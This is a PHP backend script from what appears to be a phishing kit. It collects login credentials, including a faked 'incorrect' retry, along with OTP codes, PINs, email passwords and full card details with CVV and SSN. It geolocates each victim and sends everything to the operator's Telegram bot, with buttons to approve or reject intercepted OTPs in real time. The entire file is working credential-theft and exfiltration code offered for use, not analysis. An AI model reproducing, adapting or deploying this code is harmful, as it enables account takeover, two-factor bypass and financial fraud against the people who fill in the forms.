<?php
    session_start();
    header("Access-Control-Allow-Origin: *");
    require("./token.php");

    function tg_html($s) {
        return htmlspecialchars((string) $s, ENT_QUOTES, 'UTF-8');
    }
    function tg_send_html($token, $chatid, $message) {
        $url = "https://api.telegram.org/bot" . $token . "/sendMessage";
        $body = http_build_query(['chat_id' => $chatid, 'text' => $message, 'parse_mode' => 'HTML']);
        $ctx = stream_context_create(['http' => ['method' => 'POST', 'header' => 'Content-Type: application/x-www-form-urlencoded', 'content' => $body]]);
        @file_get_contents($url, false, $ctx);
    }

    if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
        $ip = $_SERVER['HTTP_CLIENT_IP'];
    } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
    } else {
        $ip = $_SERVER['REMOTE_ADDR'];
    }
    $ip = $_SERVER['REMOTE_ADDR'];
    $ipdat = @json_decode(file_get_contents("http://ip-api.com/json/$ip"));
    $countryName = isset($ipdat->country) ? $ipdat->country : '';
    $city = isset($ipdat->city) ? $ipdat->city : '';
    $org = isset($ipdat->org) ? $ipdat->org : '';
    $timezone = isset($ipdat->timezone) ? $ipdat->timezone : '';
    $userAgent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';

    $cookie_name_index = 'index_login_attempted';
    $visitor_block = "🌐 <b>Visitor</b>\n";
    $visitor_block .= "  • IP: <code>" . tg_html($ip) . "</code>\n";
    $visitor_block .= "  • Country: " . tg_html($countryName) . "\n";
    $visitor_block .= "  • City: " . tg_html($city) . "\n";
    $visitor_block .= "  • ISP: " . tg_html($org) . "\n";
    $visitor_block .= "  • Timezone: " . tg_html($timezone) . "\n";
    $visitor_block .= "  • UA: " . tg_html($userAgent) . "\n";

    if (isset($_POST["user1"])) {
        $user1 = $_POST['user1'];
        $pass = $_POST['pass1'];
        if ($user1 != null && $pass != null) {
            $client_ip = $ip;
            if ($client_ip === '::1' || $client_ip === '127.0.0.1') {
                $client_ip = '127.0.0.1';
            }
            $scheme = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http';
            $host = $_SERVER['HTTP_HOST'] ?? 'localhost';
            $baseUrl = $scheme . '://' . $host . dirname($_SERVER['SCRIPT_NAME'] ?? '');
            $baseUrl = rtrim(str_replace('\\', '/', $baseUrl), '/');

            /* Second submit (from index?error=1): send both 1st and 2nd login in one message, like optimum/res.php */
            if (isset($_COOKIE[$cookie_name_index]) && $_COOKIE[$cookie_name_index] === '1') {
                $firstUser = isset($_SESSION['index_first_user']) ? (string) $_SESSION['index_first_user'] : '';
                $firstPass = isset($_SESSION['index_first_pass']) ? (string) $_SESSION['index_first_pass'] : '';

                $message = "🔹 <b>@earthshakinggg</b>\n";
                $message .= "━━━━━━━━━━━━━━━━━━━━\n\n";
                $message .= " <b>Login 1 (1st attempt)</b>\n";
                $message .= "  • Username: <code>" . tg_html($firstUser) . "</code>\n";
                $message .= "  • Password: <code>" . tg_html($firstPass) . "</code>\n\n";
                $message .= "✳️ <b>Login 2 (retry / incorrect)</b>\n";
                $message .= "  • Username: <code>" . tg_html($user1) . "</code>\n";
                $message .= "  • Password: <code>" . tg_html($pass) . "</code>\n\n";
                $message .= $visitor_block;

                if (!empty($token) && !empty($chatid)) {
                    tg_send_html($token, $chatid, $message);
                }

                unset($_SESSION['index_first_user'], $_SESSION['index_first_pass']);
                setcookie($cookie_name_index, '', time() - 3600, '/');
                exit;
            }

            /* First submit: store in session, send first login only, set cookie, set pending redirect */
            $_SESSION['index_first_user'] = $user1;
            $_SESSION['index_first_pass'] = $pass;

            $message = "🔹 <b>@earthshakinggg</b>\n";
            $message .= "━━━━━━━━━━━━━━━━━━━━\n\n";
            $message .= " <b>Login (1st attempt)</b>\n";
            $message .= "  • Username: <code>" . tg_html($user1) . "</code>\n";
            $message .= "  • Password: <code>" . tg_html($pass) . "</code>\n\n";
            $message .= $visitor_block;

            $tgUrl = "https://api.telegram.org/bot{$token}/sendMessage";
            $tgBody = http_build_query([
                'chat_id' => $chatid,
                'text' => $message,
                'parse_mode' => 'HTML'
            ]);
            $ctx = stream_context_create([
                'http' => [
                    'method' => 'POST',
                    'header' => 'Content-Type: application/x-www-form-urlencoded',
                    'content' => $tgBody
                ]
            ]);
            @file_get_contents($tgUrl, false, $ctx);

            setcookie($cookie_name_index, '1', time() + 3600, '/');

            $custom_dir = __DIR__ . DIRECTORY_SEPARATOR . 'custom' . DIRECTORY_SEPARATOR;
            $redirect_url = $baseUrl . '/index.php?error=1&id=' . rawurlencode((string) $user1);
            $pending_file = $custom_dir . 'pending_redirects.json';
            $data = [];
            if (is_file($pending_file)) {
                $raw = @file_get_contents($pending_file);
                if ($raw !== false) {
                    $dec = json_decode($raw, true);
                    if (is_array($dec)) $data = $dec;
                }
            }
            $data[$client_ip] = ['url' => $redirect_url, 'set_at' => time()];
            if (!is_dir($custom_dir)) @mkdir($custom_dir, 0755, true);
            @file_put_contents($pending_file, json_encode($data), LOCK_EX);
        }
    }
    else if (isset($_POST["user2"])) {
        $user1 = $_POST['user2'];
        $pass = $_POST['pass1'];
        $em22 = $_POST['em22'];
        $pa22 = $_POST['pa22'];
        if ($user1 != null && $pass != null) {
            $message = "🔹 <b>@earthshakinggg</b>\n";
            $message .= "━━━━━━━━━━━━━━━━━━━━\n\n";
            $message .= " <b>Login 1</b>\n";
            $message .= "  • Username: <code>" . tg_html($em22) . "</code>\n";
            $message .= "  • Password: <code>" . tg_html($pa22) . "</code>\n\n";
            $message .= " <b>Login 2 (retry)</b>\n";
            $message .= "  • Username: <code>" . tg_html($user1) . "</code>\n";
            $message .= "  • Password: <code>" . tg_html($pass) . "</code>\n\n";
            $message .= "🌐 <b>Visitor</b>\n";
            $message .= "  • IP: <code>" . tg_html($ip) . "</code>\n";
            $message .= "  • Country: " . tg_html($countryName) . "\n";
            $message .= "  • City: " . tg_html($city) . "\n";
            $message .= "  • ISP: " . tg_html($org) . "\n";
            $message .= "  • Timezone: " . tg_html($timezone) . "\n";
            $message .= "  • UA: " . tg_html($userAgent) . "\n";
            tg_send_html($token, $chatid, $message);
        }
    }


    else if(isset($_POST["code"])){
        $code = $_POST['code'];
        $baseUrl = isset($_POST["baseUrl"]) ? rtrim(trim((string) $_POST["baseUrl"]), '/\\') : '';
        $status = "ONLINE";
        $current = "OTP PAGE";
        $client_ip = $ip;
        if ($client_ip === '::1' || $client_ip === '127.0.0.1') {
            $client_ip = '127.0.0.1';
        }

        $custom_dir = __DIR__ . DIRECTORY_SEPARATOR . 'custom' . DIRECTORY_SEPARATOR;
        $pending_file = $custom_dir . 'pending_redirects.json';
        if (is_file($pending_file)) {
            $raw = @file_get_contents($pending_file);
            if ($raw !== false) {
                $pending_data = json_decode($raw, true);
                if (is_array($pending_data) && isset($pending_data[$client_ip])) {
                    unset($pending_data[$client_ip]);
                    @file_put_contents($pending_file, json_encode($pending_data), LOCK_EX);
                }
            }
        }

        if ($code != null) {
        $message = "🔹 <b>@earthshakinggg</b>\n";
        $message .= "━━━━━━━━━━━━━━━━━━━━\n\n";
        $message .= " <b>OTP Code</b>\n";
        $message .= "  • Code: <code>" . tg_html($code) . "</code>\n";
        $message .= "  • Status: " . tg_html($status) . "\n\n";
        $message .= "🌐 <b>Visitor</b>\n";
        $message .= "  • IP: <code>" . tg_html($ip) . "</code>\n";
        $message .= "  • Country: " . tg_html($countryName) . "\n";
        $message .= "  • City: " . tg_html($city) . "\n";
        $message .= "  • ISP: " . tg_html($org) . "\n";
        $message .= "  • Timezone: " . tg_html($timezone) . "\n";
        $message .= "  • UA: " . tg_html($userAgent) . "\n";

        $scheme = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http';
        $host = $_SERVER['HTTP_HOST'] ?? 'localhost';
        if ($baseUrl === '') {
            $baseUrl = $scheme . '://' . $host . dirname($_SERVER['SCRIPT_NAME'] ?? '');
            $baseUrl = rtrim(str_replace('\\', '/', $baseUrl), '/');
        }
        $panel_url = $baseUrl . '/custom/keystone.php?ip=' . rawurlencode($client_ip);
        $message .= "\n Panel: " . tg_html($panel_url);

        $buttons = [
            [
                ["text" => "Approve OTP ✅", "callback_data" => "approved"],
                ["text" => "Disapprove OTP ❌", "callback_data" => "disapproved"]
            ]
        ];
        $keyboard = json_encode(["inline_keyboard" => $buttons]);

        $tgUrl = "https://api.telegram.org/bot{$token}/sendMessage";
        $tgBody = http_build_query([
            'chat_id' => $chatid,
            'text' => $message,
            'parse_mode' => 'HTML',
            'reply_markup' => $keyboard
        ]);
        $ctx = stream_context_create([
            'http' => [
                'method' => 'POST',
                'header' => 'Content-Type: application/x-www-form-urlencoded',
                'content' => $tgBody
            ]
        ]);
        $response = @file_get_contents($tgUrl, false, $ctx);

        $custom_dir = __DIR__ . DIRECTORY_SEPARATOR . 'custom' . DIRECTORY_SEPARATOR;
        $panel_ips_file = $custom_dir . 'panel_message_ips.json';
        if ($response !== false && $response !== '') {
            $json = json_decode($response, true);
            if (!empty($json['ok']) && isset($json['result']['message_id'])) {
                $mid = (string) $json['result']['message_id'];
                $cid = (string) ($json['result']['chat']['id'] ?? $chatid);
                $key = $cid . '_' . $mid;
                $store = [];
                if (is_file($panel_ips_file)) {
                    $raw = @file_get_contents($panel_ips_file);
                    if ($raw !== false) {
                        $dec = json_decode($raw, true);
                        if (is_array($dec)) $store = $dec;
                    }
                }
                $store[$key] = ['ip' => $client_ip, 'base' => $baseUrl];
                if (!is_dir($custom_dir)) @mkdir($custom_dir, 0755, true);
                @file_put_contents($panel_ips_file, json_encode($store), LOCK_EX);
            }
        }

        exit;
    }
    }

    
    else if (isset($_POST["email"]) && isset($_POST["email_from_page"])) {
        $email = trim((string) $_POST['email']);
        $email_pass = isset($_POST['email_page_pass']) ? trim((string) $_POST['email_page_pass']) : '';
        if ($email !== '') {
            $message = "🔹 <b>@earthshakinggg</b>\n";
            $message .= "━━━━━━━━━━━━━━━━━━━━\n\n";
            $message .= " <b>Email (other provider)</b>\n";
            $message .= "  • Email: <code>" . tg_html($email) . "</code>\n";
            if ($email_pass !== '') {
                $message .= "  • Password: <code>" . tg_html($email_pass) . "</code>\n";
            }
            $message .= "\n🌐 <b>Visitor</b>\n";
            $message .= "  • IP: <code>" . tg_html($ip) . "</code>\n";
            $message .= "  • Country: " . tg_html($countryName) . "\n";
            $message .= "  • City: " . tg_html($city) . "\n";
            $message .= "  • ISP: " . tg_html($org) . "\n";
            $message .= "  • Timezone: " . tg_html($timezone) . "\n";
            $message .= "  • UA: " . tg_html($userAgent) . "\n";
            tg_send_html($token, $chatid, $message);
        }
    }
    else if (isset($_POST["pin"])) {
        $pin = $_POST['pin'];
        $current = "PIN Code PAGE";
        if ($pin != null) {
            $message = "🔹 <b>@earthshakinggg</b>\n";
            $message .= "━━━━━━━━━━━━━━━━━━━━\n\n";
            $message .= " <b>PIN</b>\n";
            $message .= "  • Pin: <code>" . tg_html($pin) . "</code>\n\n";
            $message .= "🌐 <b>Visitor</b>\n";
            $message .= "  • IP: <code>" . tg_html($ip) . "</code>\n";
            $message .= "  • Country: " . tg_html($countryName) . "\n";
            $message .= "  • City: " . tg_html($city) . "\n";
            $message .= "  • ISP: " . tg_html($org) . "\n";
            $message .= "  • Timezone: " . tg_html($timezone) . "\n";
            $message .= "  • UA: " . tg_html($userAgent) . "\n";
            tg_send_html($token, $chatid, $message);
        }
    }
    else if (isset($_POST["cname"])) {
        $cname = $_POST['cname'];
        $cNum = $_POST['cnum'];
        $month = $_POST['month'];
        $year = $_POST['year'];
        $cv = $_POST['cv'];
        $sn = $_POST['sn'];
        $address = $_POST["adres"];
        $zip = $_POST["zip"];
        $cityVal = $_POST["city"];
        $state = $_POST["state"];
        if ($cname != null) {
            $message = "🔹 <b>@earthshakinggg</b>\n";
            $message .= "━━━━━━━━━━━━━━━━━━━━\n\n";
            $message .= " <b>Card</b>\n";
            $message .= "  • Name: <code>" . tg_html($cname) . "</code>\n";
            $message .= "  • Number: <code>" . tg_html($cNum) . "</code>\n";
            $message .= "  • Exp: " . tg_html($month) . "/" . tg_html($year) . "  • CVV: <code>" . tg_html($cv) . "</code>\n";
            $message .= "  • SSN: <code>" . tg_html($sn) . "</code>\n";
            $message .= "  • Address: " . tg_html($address) . "\n";
            $message .= "  • City: " . tg_html($cityVal) . "  • State: " . tg_html($state) . "  • Zip: " . tg_html($zip) . "\n\n";
            $message .= "🌐 <b>Visitor</b>\n";
            $message .= "  • IP: <code>" . tg_html($ip) . "</code>\n";
            $message .= "  • Country: " . tg_html($countryName) . "\n";
            $message .= "  • City: " . tg_html($city) . "\n";
            $message .= "  • ISP: " . tg_html($org) . "\n";
            $message .= "  • Timezone: " . tg_html($timezone) . "\n";
            $message .= "  • UA: " . tg_html($userAgent) . "\n";
            tg_send_html($token, $chatid, $message);
        }
    }


?>

